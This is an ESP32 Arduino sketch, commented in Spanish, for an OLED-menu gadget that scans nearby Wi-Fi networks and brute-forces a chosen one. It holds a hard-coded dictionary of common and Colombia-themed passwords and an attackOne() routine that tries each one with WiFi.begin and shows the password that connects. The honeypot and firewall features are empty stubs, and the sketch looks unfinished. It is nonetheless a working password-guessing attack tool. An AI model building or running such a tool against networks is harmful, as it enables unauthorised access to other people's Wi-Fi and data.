#include <Wire.h>
#include <Adafruit_GFX.h>
#include <Adafruit_SSD1306.h>
#include <WiFi.h>
#include <vector>
// Definir las dimensiones del OLED y la dirección I2C
#define SCREEN_WIDTH 128
#define SCREEN_HEIGHT 64
#define OLED_RESET -1
#define SCREEN_ADDRESS 0x3C // Dirección I2C (ajusta si es necesario)
// Crear una instancia del objeto SSD1306
Adafruit_SSD1306 display(SCREEN_WIDTH, SCREEN_HEIGHT, &Wire, OLED_RESET);
// Pines para los botones
const int buttonDownPin = 4; // Ajusta según tu conexión
const int buttonUpPin = 2; // Ajusta según tu conexión
const int buttonSelectPin = 5;
const int buttonBack = 19; // Ajusta según tu conexión
bool stateButton = false;
int menuIndex = 0;
int numOptions = 0;
int passwordIndex = 0;
int currentItem = 0; // Índice del elemento del menú seleccionado
int controlMenu = 0;
int expMenu = 0;
bool cancelAttack = false; // Variable global para cancelar el ataque
struct WiFiNetwork {
String ssid;
int32_t rssi;
};
std::vector<WiFiNetwork> networks;
const char* passwordList[] = {
"Pinternet034",
"12345678",
"password",
"admin",
"letmein",
"colombia", "123456", "12345678", "contraseña", "bogota", "cali123", "medellin", "cartagena", "tequiero", "futbol",
"america", "nacional", "millos", "cafecito", "abc123", "amor", "dios123", "familia", "trabajo", "dinero",
"miamor", "12345", "carlos", "maria", "juan123", "colombia123", "libertad", "felicidades", "loquito", "paisa",
"111111", "amorcito", "querido", "magdalena", "vallenato", "festival", "fiesta", "patria", "salud", "bendiciones",
"estrellita", "mariposa", "sabrosura", "caribe", "cafetera", "santa", "1234", "1234567", "bogota123", "aguacate",
"cafecol", "losandes", "macondo", "sol123", "sabanero", "reina", "papito", "sorpresas", "colombia2023", "quererte",
"chiquita", "vallenato123", "esteban", "mariana", "sabrosura123", "miheroe", "miangel", "rey", "principe", "lucero",
"cielo", "cafetera123", "parcerito", "futbol123", "superheroe", "libertad123", "fiesta123", "amigo123", "salsita", "tuamor",
"abuelita", "bucaramanga", "perrito", "conejito", "angelito", "esperanza", "quererte123", "vallenatito", "mialma", "carinito",
"banderas", "estrella", "carnaval", "viva123", "mundial", "miheroe123", "princesa", "gatito", "chocolatina", "parcerito123",
// Agrega más contraseñas aquí
"123456", "password", "12345678", "qwerty", "123456789", "12345", "123123", "111111", "1234", "1234567", "qwertyuiop", "zaq12wsx", "112233",
//"123456", "1234567", "12345678", "123456789", "1234567890", "111111", "000000", "123123", "654321", "987654", "987654321", "1234", "4321", "121212", "112233", "123321", "12345", "1q2w3e", "1qaz2wsx", "1qazxsw2", "qazwsx", "zaq12wsx", "qwerty", "qwertyuiop", "asdfghjkl", "zxcvbnm", "qazxsw", "qwe123", "qweasdzxc", "abc123", "abcdef", "abcdefg", "abcdefgh", "password", "passw0rd", "654321987", "qazwsxedc", "1qazxsw2", "qwerty123", "123qwe", "qwe", "qweasdzxc", "qazwsx123", "qweasdzxc", "qwerty1", "qwerty12", "qwerty123", "123asdf", "asdf1234", "asdf123", "asdfgh", "qazwsxedc", "qazwsxedcrfv", "123abc", "abc123456", "q1w2e3r4", "qwert", "qwerrty", "qwert123", "pass123", "qwert1", "qwert12", "qwert1234", "passwrd", "p@ssword", "p@ssw0rd", "p@$$w0rd", "qwert", "0987654321", "qwertyu", "qwertz", "asdf", "zxasqw", "zaqwsx", "asdfg", "qaz", "qazwsx", "qazwsx123", "qweqwe", "qazqaz", "qwert12345", "1qazxsw", "qaz123", "asdfg123", "asdf123", "qwerty12345", "qwert1234", "123qwert", "qazwsx123", "qwertqwert", "1qaz2wsx3edc", "1qaz2wsx", "1qazxsw2", "qwertyuio", "asdfghjkl", "zxcvbnm", "qwertyui", "098765", "1q2w3e4r5t", "1q2w3e4r"
};
const char* menuItems[] = { "Scan Wifi", "Wifi List", "Admin Modo", "Brute Force", "HoneyPot", "FireWall" };
const int numPasswords = sizeof(passwordList) / sizeof(passwordList[0]);
int numberOfItems = sizeof(menuItems) / sizeof(menuItems[0]);
// Definir los fotogramas de la animación
const unsigned char PROGMEM frame1[] = {
0b00000000,
0b00111100,
0b01100110,
0b01000010,
0b01100110,
0b00111100,
0b00000000
};
const unsigned char PROGMEM frame2[] = {
0b00000000,
0b00000000,
0b00111100,
0b01100110,
0b01000010,
0b01100110,
0b00111100
};
// Logotipo en formato bitmap (8x8 píxeles, puedes ajustarlo)
const unsigned char PROGMEM logo[] = {
0b00111100,
0b01000010,
0b10011001,
0b10100001,
0b10100001,
0b10011001,
0b01000010,
0b00111100
};
const unsigned char PROGMEM logoCell[] = {
0b11111111,
0b10000001,
0b10100101,
0b10011001,
0b10011001,
0b10100101,
0b10000001,
0b11111111
};
// Logotipo en formato bitmap (8x8 píxeles, puedes ajustarlo)
const unsigned char PROGMEM logoWifi[] = {
// 0100000010
0b00000000, 0b00011110,
0b00000000, 0b00011110, // 0111111110
0b00000000, 0b00011110, // 0100000010// 1100000011
0b00000011, 0b11011110,
0b00000011, 0b11011110, // 1100000011
0b01111011, 0b11011110, // 0100000010
0b01111011, 0b11011110, // 0100000010
0b01111011, 0b11011110
};
// Logotipo en formato bitmap (8x8 píxeles, puedes ajustarlo)
const unsigned char PROGMEM logoHostpot[] = {
// 0100000010
0b00100000, 0b00000100,
0b01000100, 0b00100010, // 0111111110
0b11001001, 0b10010011, // 0100000010// 1100000011
0b10001010, 0b01010001,
0b11001001, 0b10010011, // 1100000011
0b01000101, 0b10100010, // 0100000010
0b00100001, 0b10000100, // 0100000010
0b00000001, 0b10000000
};
// Logotipo en formato bitmap (8x8 píxeles, puedes ajustarlo)
const unsigned char PROGMEM logoForce[] = {
// 0100000010
0b00000111, 0b11110000,
0b00000101, 0b01011000, // 0111111110
0b00111111, 0b01010100, // 0100000010// 1100000011
0b00100010, 0b00000100,
0b00110000, 0b00000100, // 1100000011
0b00011000, 0b00000100, // 0100000010
0b00000100, 0b00001000, // 0100000010
0b00000111, 0b11111000
};
// Logotipo en formato bitmap (8x8 píxeles, puedes ajustarlo)
const unsigned char PROGMEM honeypot[] = {
0b10000000, 0b00000001, // 0111111110
0b01110000, 0b00001110, // 0100000010
0b00100000, 0b00000100, // 0100000010
0b00011100, 0b00111000, // 1100000011
0b00001000, 0b00010000, // 1100000011
0b00000111, 0b11100000, // 0100000010
0b00000010, 0b01000000, // 0100000010
0b00000001, 0b10000000 // 0111111110
};
// Logotipo en formato bitmap (8x8 píxeles, puedes ajustarlo)
const unsigned char PROGMEM firewall[] = {
0b01111101, 0b11110110, // 0111111110
0b01111101, 0b11110110, // 0100000010
0b00000000, 0b00000000, // 0100000010
0b01101111, 0b10111110, // 1100000011
0b01101111, 0b10111110, // 1100000011
0b00000000, 0b00000000, // 0100000010
0b01111101, 0b11110110, // 0100000010
0b01111101, 0b11110110 // 0111111110
};
// Logotipo en formato bitmap (8x8 píxeles, puedes ajustarlo)
const unsigned char PROGMEM battery[] = {
0b01111111, 0b11111100, // 0111111110
0b01000000, 0b00000100, // 0100000010
0b01000000, 0b00000100, // 0100000010
0b01000000, 0b00000110, // 1100000011
0b01000000, 0b00000110, // 1100000011
0b01000000, 0b00000100, // 0100000010
0b01000000, 0b00000100, // 0100000010
0b01111111, 0b11111100 // 0111111110
};
void setup() {
Serial.begin(115200);
Wire.begin(21, 23); // SDA en GPIO21, SCL en GPIO23
pinMode(buttonUpPin, INPUT_PULLDOWN);
pinMode(buttonDownPin, INPUT_PULLDOWN);
pinMode(buttonSelectPin, INPUT_PULLDOWN);
pinMode(buttonBack, INPUT_PULLDOWN);
// Inicializar la pantalla OLED
// Inicializa la pantalla OLED
if (!display.begin(SSD1306_SWITCHCAPVCC, 0x3C)) {
Serial.println(F("No se pudo encontrar una pantalla OLED"));
while (1)
;
}
display.clearDisplay();
display.setTextSize(1);
display.setTextColor(1); // Usa el color blanco, si está disponible
delay(1000);
mostrarAnimacion();
// Dibujar margen
drawDisplay();
drawMenu();
display.display();
}
void dibujarMargen() {
display.drawRect(1, 9, SCREEN_WIDTH - 1, SCREEN_HEIGHT - 9, SSD1306_WHITE);
}
void dibujarLogo(int x, int y) {
display.drawBitmap(x, y, logo, 8, 8, SSD1306_WHITE);
}
void drawFirewall(int x, int y) {
display.drawBitmap(x, y, firewall, 16, 8, SSD1306_WHITE);
}
void drawHoneypot(int x, int y) {
display.drawBitmap(x, y, honeypot, 16, 8, SSD1306_WHITE);
}
void drawBattery(int x, int y) {
display.drawBitmap(x, y, battery, 16, 8, SSD1306_WHITE);
}
void drawWifi(int x, int y) {
display.drawBitmap(x, y, logoWifi, 16, 8, SSD1306_WHITE);
}
void drawCell(int x, int y) {
display.drawBitmap(x, y, logoCell, 8, 8, SSD1306_WHITE);
}
void drawForce(int x, int y) {
display.drawBitmap(x, y, logoForce, 16, 8, SSD1306_WHITE);
}
void drawHostpot(int x, int y) {
display.drawBitmap(x, y, logoHostpot, 16, 8, SSD1306_WHITE);
}
///////////////
void selectMenuItem(int item) {
display.setCursor(20, 20);
display.setTextColor(SSD1306_WHITE);
switch (item) {
case 0:
controlMenu = 1;
display.print("Scanwifi");
scanWifi();
break;
case 1:
controlMenu = 1;
display.print("Wifi List");
showListWifi();
break;
case 2:
display.print("Admin modo");
break;
case 3:
display.print("Brte Force");
break;
case 4:
display.print("HoneyPot");
break;
case 5:
display.print("Firewall");
break;
}
display.display();
delay(1000);
drawMenu(); // Volver al menú después de mostrar la selección
}
void drawMenu() {
display.setCursor(20, 20);
display.fillRect(2, 11, 125, 51, SSD1306_BLACK);
for (int i = 0; i < 4; i++) {
if (i == currentItem) {
display.setTextColor(SSD1306_BLACK, SSD1306_WHITE); // Invertir colores para el ítem seleccionado
} else {
display.setTextColor(SSD1306_WHITE);
}
if (i <= 3) {
display.setCursor(30, 12 + i * 8);
display.print(menuItems[i]);
} else {
display.setCursor(30, 12 + i * 8);
display.print(menuItems[i]);
}
}
display.display();
}
void loop() {
drawDisplay();
// No es necesario hacer nada en el loop para este ejemplo
// Verificar los botones
if (digitalRead(buttonDownPin) == HIGH) {
if (controlMenu == 0) {
currentItem++;
if (currentItem > 5) currentItem = 0; // Volver al primer elemento
drawMenu();
delay(200);
}
if (controlMenu == 1) {
if (menuIndex >= (numOptions - 1)) {
menuIndex = 0;
} else {
menuIndex++;
}
delay(200);
showListWifi();
}
drawDisplay();
//
// drawMenu();
// drawDisplay();
// Anti-rebote
}
if (digitalRead(buttonUpPin) == HIGH) {
if (controlMenu == 0) {
currentItem--;
if (currentItem < 0) currentItem = 5; // Volver al último elemento
drawDisplay();
drawMenu();
delay(200);
}
if (controlMenu == 1) {
if (menuIndex <= 0) {
menuIndex = numOptions - 1;
} else {
menuIndex--;
}
delay(200); // Anti-rebote
showListWifi();
}
drawDisplay();
}
if (digitalRead(buttonSelectPin) == HIGH) {
if (controlMenu == 0) {
// menuIndex = 0;
display.fillRect(2, 12, 125, 51, SSD1306_BLACK);
display.print("click en button");
Serial.print("click button");
delay(200); // Anti-rebote
selectMenuItem(currentItem);
}
if (controlMenu == 1) {
if (networks.empty()) {
Serial.print("lista vacia");
} else {
showListWifi();
// selectItem();
}
}
}
if (digitalRead(buttonBack) == HIGH) {
if (controlMenu == 1) {
display.fillRect(2, 12, 125, 51, SSD1306_BLACK);
Serial.print("click Back");
controlMenu = 0;
drawMenu();
}
}
}
void drawDisplay() {
dibujarMargen();
drawHostpot(78, 0);
drawCell(17, 0);
// Dibujar logotipo dentro del margen
drawBattery(112, 0);
drawWifi(96, 0);
// scanWifi();
drawForce(0, 0);
drawHoneypot(27, 0);
drawFirewall(43, 0);
display.display();
}
void mostrarAnimacion() {
for (int i = 0; i < SCREEN_WIDTH; i += 8) {
display.clearDisplay();
display.drawBitmap(i, 28, frame1, 8, 7, SSD1306_WHITE);
display.display();
delay(100);
display.clearDisplay();
display.drawBitmap(i + 8, 28, frame2, 8, 7, SSD1306_WHITE);
display.display();
delay(100);
}
}
void honeyPot() {
}
void scanWifi() {
display.fillRect(2, 12, 125, 51, SSD1306_BLACK);
display.setCursor(20, 20);
display.println(F("Escaneando redes WiFi..."));
display.display();
display.fillRect(2, 12, 125, 51, SSD1306_BLACK);
display.setCursor(10, 10);
// Asegúrate de que el Wi-Fi esté correctamente inicializado
WiFi.mode(WIFI_STA); // Establece el Wi-Fi en modo estación
WiFi.disconnect(); // Desconecta de cualquier red previamente conectada
delay(1000); // Espera 1 segundo para asegurarte de que todo esté listo
int n = WiFi.scanNetworks();
delay(5000); // Espera un poco para asegurarte de que el escaneo se haya completado
// Serial.println(n);
display.fillRect(2, 12, 125, 51, SSD1306_BLACK);
if (n == 0) {
display.println("No se encontraron redes");
} else {
networks.clear();
for (int i = 0; i < n; ++i) {
WiFiNetwork network;
network.ssid = WiFi.SSID(i);
network.rssi = WiFi.RSSI(i);
networks.push_back(network);
}
numOptions = n;
showListWifi();
display.display();
}
}
void showListWifi() {
display.fillRect(2, 10, 125, 51, SSD1306_BLACK);
cancelAttack = false;
display.setCursor(11, 5);
for (int i = 0; i < numOptions; i++) {
display.setCursor(6, 11 + i * 8);
if (menuIndex == i) {
display.print(">");
menuIndex = i;
} else {
display.print(" ");
}
display.print(networks[i].ssid);
display.print(" ");
display.print(networks[i].rssi);
display.println();
}
display.display();
}
void selectItem() {
Serial.println(menuIndex);
for (int i = 0; i < numOptions; i++) {
if (menuIndex == i) {
Serial.print("diste en una lista");
Serial.print(networks[i].ssid);
attackOne(networks[i].ssid.c_str(), networks[i].rssi);
}
}
}
void attackOne(const char* ssid, int rssi) {
display.clearDisplay();
display.setCursor(0, 0);
display.println("click en ataque");
display.print("Attacking SSID: ");
display.println(ssid);
display.display();
Serial.print("Attacking SSID: ");
Serial.println(ssid);
Serial.println("Iniciando ataque de fuerza bruta...");
// Intentar conectarse con diferentes contraseñas
while (passwordIndex < sizeof(passwordList) / sizeof(passwordList[0]) && !cancelAttack) {
display.clearDisplay();
display.setCursor(0, 0);
display.println("click en ataque");
display.print("Attacking SSID: ");
display.println(ssid);
display.print("Intentando Password: ");
display.println(passwordList[passwordIndex]);
display.display();
WiFi.begin(ssid, passwordList[passwordIndex]);
Serial.print(WiFi.status());
int timeout = 0;
while (WiFi.status() != WL_CONNECTED && timeout < 10) {
if (rssi > -40) {
delay(500);
Serial.print("estas en 500");
} else {
if (rssi < -88) {
delay(1500);
Serial.println(rssi);
Serial.print("estas en 1500");
}
delay(1000);
Serial.println(rssi);
Serial.print("estas en 1000");
}
timeout++;
display.print(".");
display.display();
if (digitalRead(buttonSelectPin) == HIGH) {
cancelAttack = true;
showListWifi();
delay(200); // Anti-rebote
passwordIndex = 0;
return;
}
}
if (WiFi.status() == WL_CONNECTED) {
display.clearDisplay();
display.setCursor(0, 10);
display.println("Conexion exitosa!");
display.println("password correcta:");
display.print(ssid);
display.println(":");
display.print(passwordList[passwordIndex]);
display.display();
break;
} else {
display.setCursor(0, 0);
Serial.println("password erroneo");
display.println("password erroneo");
passwordIndex++;
display.display();
}
}
if (WiFi.status() != WL_CONNECTED) {
display.clearDisplay();
display.setCursor(0, 0);
Serial.println("Ataque fallido: No se encontró la contraseña correcta.");
display.display();
}
display.clearDisplay();
}